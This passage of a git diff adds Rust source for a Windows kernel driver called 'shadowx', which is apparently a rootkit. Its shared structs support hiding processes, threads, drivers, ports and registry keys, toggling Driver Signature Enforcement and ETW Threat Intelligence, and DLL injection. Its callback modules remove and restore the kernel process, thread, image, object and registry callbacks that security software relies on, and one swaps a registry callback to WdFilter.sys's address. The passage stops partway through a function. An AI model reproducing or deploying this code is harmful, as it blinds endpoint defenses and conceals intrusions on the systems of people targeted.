+#[repr(C)] +#[derive(Debug)] +pub struct ETWTI { + /// A boolean value indicating if ETWTI is enabled (`true`) or disabled (`false`). + pub enable: bool, +} + +/// Input structure for enumeration of information. +/// +/// This struct is used as input for listing various entities, based on the +/// options provided. The `options` field defines the parameters for the enumeration. +#[repr(C)] +#[derive(Debug)] +pub struct EnumerateInfoInput { + /// The options to control how the enumeration should behave, typically set by the user. + pub options: Options, +} + +/// Represents the target process and path for a DLL or code injection. +/// +/// This struct contains the necessary information to perform a code or DLL injection +/// into a target process. It includes the process identifier (PID) and the path +/// to the file or resource being injected. +#[repr(C)] +#[derive(Debug)] +pub struct TargetInjection { + /// The process identifier (PID) of the target process where the injection will occur. + pub pid: usize, + + /// The path to the file or resource (typically a DLL) to be injected into the process. + /// This is a dynamic string (heap-allocated) that stores the full path. + pub path: alloc::string::String, +} + +/// Represents information about a network or communication port. +/// +/// This struct holds information about a specific port, including the protocol used, +/// the type of port, its number, and whether the port is enabled or disabled. +#[repr(C)] +#[derive(Debug, Clone, Copy, PartialEq)] +pub struct TargetPort { + /// The protocol used by the port (e.g., TCP, UDP). + /// This field is represented by the `Protocol` enum. + pub protocol: Protocol, + + /// The type of port (e.g., local, remote). + /// This field is represented by the `PortType` enum. + pub port_type: PortType, + + /// The port number, represented as a 16-bit unsigned integer. + /// Commonly used to identify network services (e.g., port 80 for HTTP). + pub port_number: u16, + + /// A boolean value indicating whether the port is enabled (`true`) or disabled (`false`). + pub enable: bool, +} + +/// Represents the target registry key and value for operations. +/// +/// This struct holds information about a specific registry key and its associated value +/// for operations such as modifying or querying the registry. It includes the registry key, +/// the value associated with that key, and a flag indicating whether the operation should be +/// enabled or not. +#[repr(C)] +#[derive(Debug, Default)] +pub struct TargetRegistry { + /// The registry key, represented as a dynamically allocated string. + /// This is typically the path to a specific registry key (e.g., `HKEY_LOCAL_MACHINE\Software\...`). + pub key: alloc::string::String, + + /// The value associated with the registry key, represented as a dynamically allocated string. + /// This could be a string value stored under the specified registry key. + pub value: alloc::string::String, + + /// A boolean value indicating whether the operation on the registry key should be enabled (`true`) + /// or disabled (`false`). + pub enable: bool, +} + +/// Represents the target thread for operations like manipulation or monitoring. +/// +/// This struct contains the thread identifier (TID) and a boolean flag indicating whether +/// the thread is enabled or disabled (hidden or active). +#[repr(C)] +#[derive(Debug, Default)] +pub struct TargetThread { + /// The thread identifier (TID) of the target thread. + pub tid: usize, + + /// A boolean value indicating whether the thread is enabled (`true`) or disabled/hidden (`false`). + pub enable: bool, + + /// A pointer to the `LIST_ENTRY` structure, which represents the thread in the system's + /// linked list of threads. This is wrapped in an `AtomicPtr` for safe concurrent access. + pub list_entry: AtomicPtr, + + /// The options to control how the enumeration should behave, typically set by the user. + pub options: Options, +} + +/// Stores information about a target process for operations such as termination or manipulation. +/// +/// This struct contains the process identifier (PID) of the target process. It is commonly used +/// when the PID is the only information required for an operation on a process. +#[repr(C)] +#[derive(Debug, Default)] +pub struct TargetProcess { + /// The process identifier (PID) of the target process. + pub pid: usize, + + /// A boolean value indicating whether the process is hidden (`true`) or visible (`false`). + pub enable: bool, + + /// The signer of the process, typically indicating the authority or certificate that signed it. + pub sg: usize, + + /// The type of protection applied to the process, represented as an integer. + pub tp: usize, + + /// A pointer to the `LIST_ENTRY` structure, which is used to represent the process + /// in the system's linked list of processes. This is wrapped in an `AtomicPtr` for safe concurrent access. + pub list_entry: AtomicPtr, + + /// The options to control how the enumeration should behave, typically set by the user. + pub options: Options, +} + +/// Represents information about a module in the system. +/// +/// This struct is used for enumerating modules loaded in the system. It includes +/// the module's memory address, its name, and an index that can be used for +/// identification or sorting purposes. +#[repr(C)] +#[derive(Debug)] +pub struct ModuleInfo { + /// The memory address where the module is loaded. + pub address: usize, + + /// The name of the module, stored as a UTF-16 encoded string with a fixed length of 256. + /// This allows compatibility with systems like Windows that use UTF-16 encoding. + pub name: [u16; 256], + + /// The index of the module in the enumeration, useful for tracking or identifying the module. + pub index: u8, +} + +/// Represents the target module within a specific process for operations like enumeration or manipulation. +/// +/// This struct contains information about the target process and the specific module within that process. +/// It includes the process identifier (PID) and the name of the module being targeted. +#[repr(C)] +#[derive(Debug)] +pub struct TargetModule { + /// The process identifier (PID) of the process in which the target module is loaded. + pub pid: usize, + + /// The name of the target module, stored as a dynamically allocated string. + pub module_name: alloc::string::String, +} + +/// Callback Information for Enumeration (Output) +/// +/// This struct represents the information about a callback that is used in an enumeration process. +/// It includes details like the callback's memory address, name, and operations associated with it. +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct CallbackInfoOutput { + /// The memory address where the callback is located. + pub address: usize, + + /// The name of the callback, represented as a UTF-16 array of fixed length (256). + /// This is useful for systems (like Windows) that use UTF-16 strings. + pub name: [u16; 256], + + /// The index of the callback in the enumeration. + pub index: u8, + + /// The memory address of the pre-operation function associated with this callback. + pub pre_operation: usize, + + /// The memory address of the post-operation function associated with this callback. + pub post_operation: usize, +} + +impl Default for CallbackInfoOutput { + fn default() -> Self { + Self { + address: 0, + name: [0u16; 256], + index: 0, + post_operation: 0, + pre_operation: 0 + } + } +} + +/// Callback Information for Action (Input) +/// +/// This struct is used to represent input data when performing an action on a callback. +/// It includes the callback's index and the specific callback action to be taken. +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct CallbackInfoInput { + /// The index of the callback that will be targeted by the action. + pub index: usize, + + /// The specific callback action, represented by the `Callbacks` enum. + pub callback: Callbacks, +} + +/// Enumerates driver information for system drivers. +/// +/// This struct holds basic information about a driver, including its address, name, and an index +/// for identification. The `name` field is represented as a UTF-16 array to maintain compatibility +/// with systems that use this encoding (like Windows). +#[repr(C)] +pub struct DriverInfo { + /// The memory address where the driver is loaded. + pub address: usize, + + /// The name of the driver, stored as a UTF-16 encoded string with a fixed length of 256. + pub name: [u16; 256], + + /// The index of the driver in the enumeration. + pub index: u8, +} + +/// Represents a structure to enable or disable Driver Signature Enforcement (DSE). +/// +/// This struct is used to toggle the state of DSE, with the `enable` field indicating whether +/// DSE is currently enabled or disabled. +#[repr(C)] +#[derive(Debug)] +pub struct DSE { + /// A boolean flag to enable or disable DSE. `true` means DSE is enabled, `false` means it is disabled. + pub enable: bool, +} + +/// Represents the target driver for operations like hiding or revealing it. +/// +/// This struct holds information about a driver, specifically its name and a flag indicating whether +/// it should be enabled (visible) or hidden. +#[repr(C)] +#[derive(Debug, Default)] +pub struct TargetDriver { + /// The name of the target driver as a dynamic string (heap-allocated). + pub name: alloc::string::String, + + /// A boolean flag that indicates whether the driver is enabled (visible) or hidden. + /// `true` means the driver is enabled, `false` means it is hidden. + pub enable: bool, + + /// A pointer to the `LIST_ENTRY` structure representing the driver's list in the system. + pub list_entry: AtomicPtr, + + /// A pointer to the `LDR_DATA_TABLE_ENTRY` structure that represents the driver's data in the system. + pub driver_entry: AtomicPtr, +} \ No newline at end of file diff --git a/shared/src/vars.rs b/crates/common/src/vars.rs similarity index 100% rename from shared/src/vars.rs rename to crates/common/src/vars.rs diff --git a/crates/shadowx/Cargo.toml b/crates/shadowx/Cargo.toml new file mode 100644 index 0000000..96bb69e --- /dev/null +++ b/crates/shadowx/Cargo.toml @@ -0,0 +1,31 @@ +[package] +name = "shadowx" +version = "0.1.0" +edition = "2021" + +[dependencies] +wdk = "0.2.0" +wdk-sys = "0.2.0" +wdk-panic = "0.2.0" +wdk-alloc = "0.2.0" +winapi = "0.3.9" +ntapi = { version = "0.4.1", default-features = false } + +spin = "0.9.8" +log = "0.4.22" +obfstr = "0.4.4" +bitfield = "0.17.0" +thiserror-no-std = "2.0.2" +common = { path = "../common" } +microseh = { version = "1.1.2", default-features = false } + +[profile.dev] +panic = "abort" + +[profile.release] +panic = "abort" + +[package.metadata.wdk.driver-model] +driver-type = "KMDF" +kmdf-version-major = 1 +target-kmdf-version-minor = 33 diff --git a/crates/shadowx/src/callback/callbacks/mod.rs b/crates/shadowx/src/callback/callbacks/mod.rs new file mode 100644 index 0000000..1546c08 --- /dev/null +++ b/crates/shadowx/src/callback/callbacks/mod.rs @@ -0,0 +1,11 @@ +/// Callbacks related to notifications operations +pub mod notify_routine; +pub use notify_routine::*; + +/// Callbacks related to object operations +pub mod object; +pub use object::*; + +/// Callbacks related to registry operations +pub mod registry; +pub use registry::*; \ No newline at end of file diff --git a/crates/shadowx/src/callback/callbacks/notify_routine.rs b/crates/shadowx/src/callback/callbacks/notify_routine.rs new file mode 100644 index 0000000..3e7723a --- /dev/null +++ b/crates/shadowx/src/callback/callbacks/notify_routine.rs @@ -0,0 +1,247 @@ +use { + alloc::vec::Vec, + spin::{Lazy, Mutex}, + ntapi::ntldr::LDR_DATA_TABLE_ENTRY, + wdk_sys::{NTSTATUS, STATUS_SUCCESS}, +}; + +use { + common::{ + enums::Callbacks, + vars::MAX_CALLBACK, + structs::CallbackInfoOutput + }, + crate::{ + error::ShadowError, + utils::list_modules, + data::CallbackRestaure, + callback::find_callback::{ + find_callback_address, CallbackResult + }, + }, +}; + +/// Structure that manages callbacks in the system. +/// +/// The `Callback` structure provides functionality to remove, restore, and enumerate +/// system callbacks like `PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine`, +/// and `PsSetLoadImageNotifyRoutine`. +pub struct Callback; + +/// Stores information about removed callbacks. +/// +/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex` +/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`. +pub static mut INFO_CALLBACK_RESTAURE_NOTIFY: Lazy>> = Lazy::new(|| + Mutex::new(Vec::with_capacity(MAX_CALLBACK)) +); + +impl Callback { + /// Restores a previously removed callback by its index. + /// + /// # Arguments + /// + /// * `callback` - The type of callback to be restored (e.g., process, thread, registry). + /// * `index` - The index of the callback to restore. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored. + /// * `Err(ShadowError)` - A specific error if the callback cannot be restored. + pub unsafe fn restore(callback: Callbacks, index: usize) -> Result { + // Lock the removed callbacks to ensure thread-safe access + let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); + + // Find the removed callback by its index + let index = callbacks + .iter() + .position(|c| c.callback == callback && c.index == index) + .ok_or(ShadowError::IndexNotFound(index))?; + + // Retrieve the callback address based on the callback type + let address = match find_callback_address(&callback)? { + CallbackResult::Notify(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Restore the callback by writing back its address + let addr = address.offset((callbacks[index].index * 8) as isize); + *(addr as *mut u64) = callbacks[index].address; + + // Remove the restored callback from the saved list + callbacks.remove(index); + + Ok(STATUS_SUCCESS) + } + + /// Removes a callback from a notification routine. + /// + /// This function removes a callback by setting its address in the callback table to `0` + /// and stores the removed callback's information in `INFO_CALLBACK_RESTAURE_NOTIFY` for + /// future restoration. + /// + /// # Arguments + /// + /// * `callback` - The type of callback to remove. + /// * `index` - The index of the callback to remove. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed. + /// * `Err(ShadowError)` - if the callback address cannot be found. + pub unsafe fn remove(callback: Callbacks, index: usize) -> Result { + // Retrieve the callback address based on the callback type + let address = match find_callback_address(&callback)? { + CallbackResult::Notify(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Calculate the callback address to be removed + let addr = address.offset((index as isize) * 8); + + // Save the removed callback information + let callback = CallbackRestaure { + index, + callback, + address: *(addr as *mut u64), + }; + + let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); + callback_info.push(callback); + + // Remove the callback by setting its address to 0 + *(addr as *mut u64) = 0; + + Ok(STATUS_SUCCESS) + } +} + +/// Methods related to callback enumeration +impl Callback { + /// Enumerates the modules associated with callbacks and populates callback information. + /// + /// This function iterates through the system's callback table and identifies the modules + /// that have registered callbacks. It stores this information in the `callback_info` structure. + /// + /// # Arguments + /// + /// * `callback` - The type of callback to enumerate. + /// + /// # Returns + /// + /// * `Ok(Vec)` - containing the list of callbacks. + /// * `Err(ShadowError)` - if the callback cannot be found. + pub unsafe fn enumerate(callback: Callbacks) -> Result, ShadowError> { + let mut callbacks: Vec = Vec::new(); + + // Get the address of the callback from the system + let address = match find_callback_address(&callback)? { + CallbackResult::Notify(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Iterate over loaded modules to find the module corresponding to each callback + let (mut ldr_data, module_count) = list_modules()?; + let start_entry = ldr_data; + + for i in 0..64 { + let addr = address.cast::().offset(i * 8); + let callback = *(addr as *const u64); + + if callback == 0 { + continue; + } + + // Iterate through the loaded modules to find the one associated with the callback + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64); + + // Check if the callback addresses fall within the module's memory range + if raw_pointer > start_address as u64 && raw_pointer < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: i as u8, + address: raw_pointer as usize, + name, + ..Default::default() + }); + + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset the module list pointer for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) + } + + /// Enumerates all removed callbacks and provides detailed information. + /// + /// # Returns + /// + /// * `Ok(Vec)` - containing the list of removed callbacks. + /// * `Err(ShadowError)` - if the operation fails. + pub unsafe fn enumerate_removed() -> Result, ShadowError> { + let mut callbacks: Vec = Vec::new(); + + let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); + let (mut ldr_data, module_count) = list_modules()?; + let start_entry = ldr_data; + + // Iterate over the removed callbacks + for (i, callback) in callbacks_removed.iter().enumerate() { + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64; + let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64); + + // Check if the callback addresses fall within the module's memory range + if raw_pointer > start_address as u64 && raw_pointer < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: callback.index as u8, + address: callback.address as usize, + name, + ..Default::default() + }); + + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset the module list pointer for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) + } +} \ No newline at end of file diff --git a/crates/shadowx/src/callback/callbacks/object.rs b/crates/shadowx/src/callback/callbacks/object.rs new file mode 100644 index 0000000..b811a3c --- /dev/null +++ b/crates/shadowx/src/callback/callbacks/object.rs @@ -0,0 +1,286 @@ +use { + alloc::vec::Vec, + spin::{Lazy, Mutex}, + ntapi::ntldr::LDR_DATA_TABLE_ENTRY, + wdk_sys::{NTSTATUS, STATUS_SUCCESS,} +}; + +use { + common::{ + enums::Callbacks, + structs::CallbackInfoOutput, + vars::MAX_CALLBACK + }, + crate::{ + error::ShadowError, list_modules, + lock::with_push_lock_exclusive, + callback::find_callback::{find_callback_address, CallbackResult}, + data::{CallbackRestaureOb, OBCALLBACK_ENTRY}, + }, +}; + +/// Structure representing the Callback Object. +pub struct CallbackOb; + +/// Stores information about removed callbacks. +/// +/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex` +/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`. +static mut INFO_CALLBACK_RESTAURE_OB: Lazy>> = Lazy::new(|| + Mutex::new(Vec::with_capacity(MAX_CALLBACK)) +); + +/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType). +impl CallbackOb { + /// Restores a previously removed callback by its index. + /// + /// # Arguments + /// + /// * `callback` - The type of callback to be restored (e.g., process, thread, registry). + /// * `index` - The index of the callback to restore. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored. + /// * `Err(ShadowError)` - A specific error if the callback cannot be restored. + pub unsafe fn restore(callback: Callbacks, index: usize) -> Result { + // Lock the removed callbacks to ensure thread-safe access + let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock(); + + // Find the callback by its index + let index = callbacks + .iter() + .position(|c| c.callback == callback && c.index == index) + .ok_or(ShadowError::IndexNotFound(index))?; + + // Retrieve the callback address based on the callback type + let full_object = match find_callback_address(&callback)? { + CallbackResult::Object(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Acquire exclusive access to the TypeLock associated with the callback object + let lock = &(*full_object).TypeLock as *const _ as *mut u64; + with_push_lock_exclusive(lock, || { + let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; + let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + + // Traverse the list of callback entries to find the one matching the removed entry + while next != current { + if !(*next).Enabled && !next.is_null() && (*next).Entry as u64 == callbacks[index].entry { + + // Re-enable the callback and remove it from the removed list + (*next).Enabled = true; + callbacks.remove(index); + + return Ok(STATUS_SUCCESS); + } + + next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + } + + Err(ShadowError::RestoringFailureCallback) + }) + } + + /// Removes a callback from a notification routine. + /// + /// # Arguments + /// + /// * `callback` - The type of callback to remove. + /// * `index` - The index of the callback to remove. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed. + /// * `Err(ShadowError)` - if the callback address cannot be found. + pub unsafe fn remove(callback: Callbacks, index: usize) -> Result { + // Retrieve the callback address based on the callback type + let full_object = match find_callback_address(&callback)? { + CallbackResult::Object(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Acquire exclusive access to the TypeLock associated with the callback object + let lock = &(*full_object).TypeLock as *const _ as *mut u64; + with_push_lock_exclusive(lock, || { + let mut i = 0; + let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; + let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock(); + + // Traverse the list of callback entries + while next != current { + if i == index { + if (*next).Enabled { + // Store the removed callback in the list of removed callbacks + let callback_restaure = CallbackRestaureOb { + index, + callback, + entry: (*next).Entry as u64, + pre_operation: (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64), + post_operation: (*next).PostOperation.map_or(0u64, |post_op| post_op as u64) + }; + + // Disable the callback + (*next).Enabled = false; + callback_info.push(callback_restaure); + } + + return Ok(STATUS_SUCCESS); + } + + // Move to the next entry in the callback list + next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + i += 1; + } + + Err(ShadowError::RemoveFailureCallback) + }) + } +} + +/// Methods related to callback enumeration +impl CallbackOb { + /// Enumerates the modules associated with callbacks and populates callback information. + /// + /// # Arguments + /// + /// * `callback` - The type of callback to enumerate. + /// + /// # Returns + /// + /// * `Ok(Vec)` - containing the list of callbacks. + /// * `Err(ShadowError)` - if the callback cannot be found. + pub unsafe fn enumerate(callback: Callbacks) -> Result, ShadowError> { + let mut callbacks: Vec = Vec::new(); + + // Retrieve the callback address based on the callback type + let full_object = match find_callback_address(&callback)? { + CallbackResult::Object(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; + let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + let mut list_objects = Vec::new(); + + // Collect the information about each callback + while next != current { + let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64); + let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64); + + list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr))); + next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + } + + // Iterate over loaded modules to find the module corresponding to each callback + let (mut ldr_data, module_count) = list_modules()?; + let start_entry = ldr_data; + let mut current_index = 0; + + for (i, (enabled, addrs)) in list_objects.iter().enumerate() { + if !enabled { + current_index += 1; + continue; + } + + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64; + let pre_operation = addrs.0; + let post_operation = addrs.1; + + // Check if the callback addresses fall within the module's memory range + if pre_operation > start_address as u64 && pre_operation < end_address || + post_operation > start_address as u64 && post_operation < end_address + { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: current_index, + name, + pre_operation: pre_operation as usize, + post_operation: post_operation as usize, + address: 0 + }); + + current_index += 1; + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset ldr_data for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) + } + + /// Enumerates all removed callbacks and provides detailed information. + /// + /// # Returns + /// + /// * `Ok(Vec)` - containing the list of removed callbacks. + /// * `Err(ShadowError)` - if the operation fails. + pub unsafe fn enumerate_removed() -> Result, ShadowError> { + let mut callbacks: Vec = Vec::new(); + + let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock(); + let (mut ldr_data, module_count) = list_modules()?; + let start_entry = ldr_data; + + // Iterate over the removed callbacks + for (i, callback) in callbacks_removed.iter().enumerate() { + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + + // Check if the callback addresses fall within the module's memory range + if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address + || callback.post_operation > start_address as u64 && callback.post_operation < end_address + { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the removed callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: callback.index as u8, + name, + pre_operation: callback.pre_operation as usize, + post_operation: callback.post_operation as usize, + address: 0 + }); + + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset the module list pointer for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) + } +} \ No newline at end of file diff --git a/crates/shadowx/src/callback/callbacks/registry.rs b/crates/shadowx/src/callback/callbacks/registry.rs new file mode 100644 index 0000000..be93f2f --- /dev/null +++ b/crates/shadowx/src/callback/callbacks/registry.rs @@ -0,0 +1,281 @@ +use { + alloc::vec::Vec, + spin::{Lazy, Mutex}, + ntapi::ntldr::LDR_DATA_TABLE_ENTRY, + wdk_sys::{ + NTSTATUS, STATUS_SUCCESS, + }, +}; + +use { + common::{ + enums::Callbacks, + vars::MAX_CALLBACK, + structs::CallbackInfoOutput + }, + crate::{ + error::ShadowError, + list_modules, + lock::with_push_lock_exclusive, + callback::find_callback::{ + find_callback_address, CallbackResult + }, + data::{CallbackRestaure, CM_CALLBACK}, + }, +}; + +/// Structure representing the Callback Registry. +pub struct CallbackRegistry; + +/// Stores information about removed callbacks. +/// +/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex` +/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`. +static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy>> = Lazy::new(|| + Mutex::new(Vec::with_capacity(MAX_CALLBACK)) +); + +/// Implement a feature for the callback CmRegisterCallbackEx. +impl CallbackRegistry { + /// Restores a previously removed callback by its index. + /// + /// # Arguments + /// + /// * `callback` - The type of callback to be restored (e.g., process, thread, registry). + /// * `index` - The index of the callback to restore. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored. + /// * `Err(ShadowError)` - A specific error if the callback cannot be restored. + pub unsafe fn restore(callback: Callbacks, index: usize) -> Result { + // Lock the removed callbacks to ensure thread-safe access + let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); + + // Locating the target callback index + let index = callbacks_info + .iter() + .position(|c| c.callback == callback && c.index == index) + .ok_or(ShadowError::IndexNotFound(index))?; + + // Retrieve the callback address based on the callback type + let (callback, count, lock) = match find_callback_address(&callback)? { + CallbackResult::Registry(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound) + }; + + // Getting a lock to perform the restore operation + with_push_lock_exclusive(lock as *mut u64, || { + let count = *(count as *mut u32) + 1; + let mut pcm_callback = callback as *mut CM_CALLBACK; + + for i in 0..count { + if pcm_callback.is_null() { + break; + } + + if i == index as u32 { + // If the index is matched, restore from the list + (*pcm_callback).Function = callbacks_info[index].address; + callbacks_info.remove(index); + + return Ok(STATUS_SUCCESS); + } + + pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; + } + + Err(ShadowError::RestoringFailureCallback) + }) + } + + /// Removes a callback from the specified routine. + /// + /// # Arguments + /// + /// * `target_callback` - Pointer to the callback information input. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed. + /// * `Err(ShadowError)` - if the callback address cannot be found. + pub unsafe fn remove(callback: Callbacks, index: usize) -> Result { + // Retrieve the callback address based on the callback type + let (callbacks, count, lock) = match find_callback_address(&callback)? { + CallbackResult::Registry(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound) + }; + + // Getting a lock to perform the remove operation + with_push_lock_exclusive(lock as *mut u64, || { + let count = *(count as *mut u32) + 1; + let mut pcm_callback = callbacks as *mut CM_CALLBACK; + let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); + let mut prev_addr = 0; + + for i in 0..count { + if i == 1 { + // Here we make an exchange, changing the target address to `WdFilter.sys` + prev_addr = (*pcm_callback).Function; + } + + if pcm_callback.is_null() { + break; + } + + if i == index as u32 { + let callback_restaure = CallbackRestaure { + index, + callback, + address: (*pcm_callback).Function, + ..Default::default() + }; + + // If the index is matched, remove from the list + (*pcm_callback).Function = prev_addr; + callbacks_info.push(callback_restaure); + + return Ok(STATUS_SUCCESS); + } + + pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; + } + + Err(ShadowError::RemoveFailureCallback) + }) + } + + +} + +/// Methods related to callback enumeration +impl CallbackRegistry { + /// Searches for a module associated with a callback and updates callback information. + /// + /// # Arguments + /// + /// * `target_callback` - Pointer to the callback information input. + /// * `callback_info` - Pointer to the callback information output. + /// * `information` - Pointer to a variable to store information size. + /// + /// # Returns + /// + /// * `NTSTATUS` - Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. + pub unsafe fn enumerate(callback: Callbacks) -> Result, ShadowError> { + let mut callbacks: Vec = Vec::new(); + + let (callback, count, lock) = match find_callback_address(&callback)? { + CallbackResult::Registry(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound) + }; + + let (mut ldr_data, module_count) = list_modules()?; + let start_entry = ldr_data; + + let count = *(count as *mut u32) + 1; + let mut pcm_callback = callback as *mut CM_CALLBACK; + + with_push_lock_exclusive(lock as *mut u64, || { + for i in 0..count as isize { + if pcm_callback.is_null() { + break; + } + + // Iterate over the loaded modules + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + let addr = (*pcm_callback).Function; + + if addr > start_address as u64 && addr < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: i as u8, + address: addr as usize, + name, + ..Default::default() + }); + + break; + } + + // Go to the next module in the list + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset ldr_data for next callback + ldr_data = start_entry; + + pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; + } + + Ok(callbacks) + }) + } + + /// List of callbacks currently removed. + /// + /// # Arguments + /// + /// * `target_callback` - Pointer to the callback information input. + /// * `callback_info` - Pointer to the callback information output. + /// * `information` - Pointer to a variable to store information size. + /// + /// # Returns + /// + /// * `NTSTATUS` - Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. + pub unsafe fn enumerate_removed() -> Result, ShadowError> { + let mut callbacks: Vec = Vec::new(); + + let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); + let (mut ldr_data, module_count) = list_modules()?; + let start_entry = ldr_data; + + for (i, callback) in callbacks_removed.iter().enumerate() { + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + + if callback.address > start_address as u64 && callback.address < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; 